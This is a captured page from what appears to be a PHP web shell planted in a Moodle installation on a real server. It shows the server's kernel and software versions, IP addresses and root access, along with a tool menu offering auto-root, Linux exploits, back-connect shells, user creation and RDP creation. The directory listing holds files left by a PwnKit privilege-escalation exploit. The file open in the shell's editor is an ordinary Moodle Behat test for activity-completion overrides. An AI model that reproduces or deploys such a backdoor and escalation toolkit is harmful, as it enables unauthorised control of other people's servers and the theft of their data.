Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
report /
progress /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
activity_completion_report.fea...
8.34
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : activity_completion_report.feature
@report @report_progress Feature: Teacher can view and override users' activity completion data via the progress report. In order to view and override a student's activity completion status As a teacher I need to view the course progress report and click the respective completion status icon Background: Given the following "courses" exist: | fullname | shortname | format | enablecompletion | | Course 1 | C1 | topics | 1 | And the following "activities" exist: | activity | name | intro | course | idnumber | section | completion | completionview | completionusegrade | assignsubmission_onlinetext_enabled | submissiondrafts | | assign | my assignment | A1 desc | C1 | assign1 | 0 | 1 | 0 | | 0 | 0 | | assign | my assignment 2 | A2 desc | C1 | assign2 | 0 | 2 | 1 | | 0 | 0 | | assign | my assignment 3 | A3 desc | C1 | assign3 | 0 | 2 | 1 | 1 | 1 | 0 | And the following "users" exist: | username | firstname | lastname | email | idnumber | middlename | alternatename | firstnamephonetic | lastnamephonetic | | teacher1 | Teacher | One | teacher1@example.com | t1 | | fred | | | | student1 | Grainne | Beauchamp | student1@example.com | s1 | Ann | Jill | Gronya | Beecham | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student1 | C1 | student | And the following config values are set as admin: | fullnamedisplay | firstname | | alternativefullnameformat | middlename, alternatename, firstname, lastname | # Course comprising one activity with auto completion (student must view it) and one with manual completion. # This confirms that after being completed by the student and overridden by the teacher, that both activities can still be # completed again via normal mechanisms. @javascript Scenario: Given the status has been overridden, when a student tries to complete it again, completion can still occur. # Student completes the activities, manual and automatic completion. Given I am on the "Course 1" course page logged in as student1 And "Not completed: my assignment. Select to mark as complete." "icon" should exist in the "my assignment" "list_item" And "Not completed: my assignment 2" "icon" should exist in the "my assignment 2" "list_item" And I click on "Not completed: my assignment. Select to mark as complete." "icon" And "Completed: my assignment. Select to mark as not complete." "icon" should exist in the "my assignment" "list_item" And I click on "my assignment 2" "link" And I am on "Course 1" course homepage And "Completed: my assignment 2" "icon" should exist in the "my assignment 2" "list_item" And I log out # Teacher overrides the activity completion statuses to incomplete. When I am on the "Course 1" course page logged in as teacher1 And I navigate to "Reports > Activity completion" in current page administration And "Ann, Jill, Grainne, Beauchamp, my assignment: Completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And "Ann, Jill, Grainne, Beauchamp, my assignment 2: Completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "my assignment" "link" in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "Save changes" "button" And "Ann, Jill, Grainne, Beauchamp, my assignment: Not completed (set by Teacher)" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "my assignment 2" "link" in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "Save changes" "button" And "Ann, Jill, Grainne, Beauchamp, my assignment 2: Not completed (set by Teacher)" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I log out # Student can now complete the activities again, via normal means. And I am on the "Course 1" course page logged in as student1 And "Not completed: my assignment (set by Teacher). Select to mark as complete." "icon" should exist in the "my assignment" "list_item" And "Not completed: my assignment 2 (set by Teacher)" "icon" should exist in the "my assignment 2" "list_item" And I click on "Not completed: my assignment (set by Teacher). Select to mark as complete." "icon" And "Completed: my assignment. Select to mark as not complete." "icon" should exist in the "my assignment" "list_item" And I click on "my assignment 2" "link" And I am on "Course 1" course homepage And "Completed: my assignment 2" "icon" should exist in the "my assignment 2" "list_item" And I log out # And the activity completion report should show the same. And I am on the "Course 1" Course page logged in as teacher1 And I navigate to "Reports > Activity completion" in current page administration And "Ann, Jill, Grainne, Beauchamp, my assignment: Completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And "Ann, Jill, Grainne, Beauchamp, my assignment 2: Completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" # Course comprising one activity with auto completion (student must view it and receive a grade) and one with manual completion. # This confirms that after being overridden to complete by the teacher, that the completion status for activities with automatic # completion can no longer be affected by any normal completion mechanisms triggered by the student. Manual completion unaffected. @javascript Scenario: Given the status has been overridden to complete, when a student triggers completion updates, the status remains fixed. # When the teacher overrides the activity completion statuses to complete. When I am on the "Course 1" Course page logged in as teacher1 And I navigate to "Reports > Activity completion" in current page administration And "Ann, Jill, Grainne, Beauchamp, my assignment: Not completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And "Ann, Jill, Grainne, Beauchamp, my assignment 3: Not completed" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "my assignment" "link" in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "Save changes" "button" And "Ann, Jill, Grainne, Beauchamp, my assignment: Completed (set by Teacher)" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "my assignment 3" "link" in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I click on "Save changes" "button" And "Ann, Jill, Grainne, Beauchamp, my assignment 3: Completed (set by Teacher)" "icon" should exist in the "Ann, Jill, Grainne, Beauchamp" "table_row" And I log out # Then as a student, confirm that automatic completion checks are no longer triggered (such as after an assign submission). And I am on the "Course 1" course page logged in as student1 And "Completed: my assignment 3 (set by Teacher)" "icon" should exist in the "my assignment 3" "list_item" And I click on "my assignment 3" "link" And I press "Add submission" And I set the following fields to these values: | Online text | I'm the student first submission | And I press "Save changes" And I should see "Submitted for grading" And I am on "Course 1" course homepage And "Completed: my assignment 3 (set by Teacher)" "icon" should exist in the "my assignment 3" "list_item" # And Confirm that manual completion changes are still allowed. And I am on "Course 1" course homepage And "Completed: my assignment (set by Teacher). Select to mark as not complete." "icon" should exist in the "my assignment" "list_item" And I click on "Completed: my assignment (set by Teacher). Select to mark as not complete." "icon" And "Not completed: my assignment. Select to mark as complete." "icon" should exist in the "my assignment" "list_item"
Close